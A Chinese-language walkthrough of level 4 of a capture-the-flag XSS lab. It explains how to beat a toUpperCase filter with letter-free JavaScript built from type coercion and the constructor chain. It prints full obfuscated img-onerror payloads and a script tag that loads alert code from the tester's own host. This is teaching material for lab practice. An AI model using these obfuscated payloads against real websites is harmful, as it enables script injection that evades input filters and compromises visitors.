一、 相应靶场
本文演示的靶场是易锦 XSS 靶场的第四关,靶场地址: http://lab.yijincc.com:50008/?lesson=4 。
二、通关讲解
1. 审题
2.1.1 出题人的建议
在“漏洞简述”里面,出题人给了我们两个提示:

- JS 本身的破绽,也就是 JS 设计不严谨的地方;
- 使用 script 标签带入跨站脚本。
2.1.2 审查代码

这里面只用了一个函数来过滤,通过百度搜索我们可以知道:
字符串API toUpperCase():全部字符变为大写,返回新字符串。
👆这意味着我们的 alert 会变成 ALERT ,从而变得无法执行。
2.1.3 随便输入一个 payload 试试

👆好家伙,管他三七二十一,全部都转成了大写。
2. 知识点一:JS 中一切皆可转字符串
JS 是处理网页的语言,而网页都是以字符组成,因此 JS 有着很方便的字符串处理功能,但这些功能也会造成一些隐患。
下面的代码,我希望你可以在浏览器控制台中运行它们,观察其运行结果。
2.2.1 JS 中两个东西相加,结果不是数字,就是字符串
例如
[] + []
两个空数组相加,得到一个空字符串:

其他一些类似的表达式:

2.2.3 从产生的这些字符串中提取字母
在 JS 中,字符串后面用方括号括一个数字,可以取出字符串中对应序号的字母,比如:
'false'[1]
就能取出其第2个字母,也就是 'a' 。
取出这些字母之后再拼接起来,就可以得到任意英文单词(只要由相应的字母),例如我们喜闻乐见的 alert ,就可以这样搞到手:
([]+![])[1]+([]+![])[2]+([]+![])[4]+([]+!![])[1]+([]+!![])[0]
👆当然我们还可以再极端一点,在这个的基础上把里面的数字也替换掉。
3. 知识点二:JS 中把字符串解析为函数的方法
2.3.1 一般手段
JS 中有很多方法可以把字符串变成函数来执行,包括且不限于:
eval('alert(1)');
setTimeout('alert(1)');
Function('alert(1)')();
setTimeout`alert(1)`;
document.write('<img src onerror=alert(1)>');
但是这些函数明显都需要“字母”,而我们现在最缺的就是“字母”。
4. 知识点三:JS 中的 constructor 函数
在 JS 中所有的对象都有一个 constrctor 属性,这个属性是一个函数,例如数组的 constructor :

最重要的一点:函数也有自己的 constructor ,而函数的 constructor 刚好是我们上面列出来的 Function 函数:

所以我们只需要使用
[]['constructor']['constructor']
就可以得到 Function,你可能会认为这里面有用到字母,所以问题又进入了死循环——但是这里的字母都是在字符串里,因此我们是可以通过上面说的方法拼接而来的:
([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]
5. 知识点就绪,拼接成可执行的 JS
我们准备的方案(at 比 constructor 短,但也是一个函数)
[]['at']['constructor']('alert')(1)
把这句代码中的所有字母都使用上面的方法替换掉,得到:
[][[]+(([]+![])[-~[]])+([]+!![])[-[]]][([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]](([]+![])[-~[]]+([]+![])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]]+(-~[])+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]])()
👆 这段代码是可以直接运行的。
6. 根据题目要求构造 payload
当然我们的题目中是需要使用 HTML 带入 JS 执行,所以我们用上面的神秘字符串替换原来的 alert(1) 部分:
<img src onerror=[][[]+(([]+![])[-~[]])+([]+!![])[-[]]][([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+!![])[-~[]]+([]+!![])[-~[]-~[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]](([]+![])[-~[]]+([]+![])[-~[]-~[]]+([]+![])[-~[]-~[]-~[]-~[]]+([]+!![])[-~[]]+([]+!![])[+[]]+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]]+(-~[])+([]+[][[]+(([]+![])[-~[]])+([]+!![])[-[]]])[-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]-~[]])()>

通关!
三、另一种通关方法——跨站脚本
1. 启动PhpStudy,在 phpStudy 根目录新建一个名为“T.JS”的 JS
T.JS 的内容:
alert(1);
2. 使用 script 标签引入该脚本
<script type="application/Javascript" src="http://phpStudy所在IP/T.JS/T.JS"></script>
3. 这样也能通关
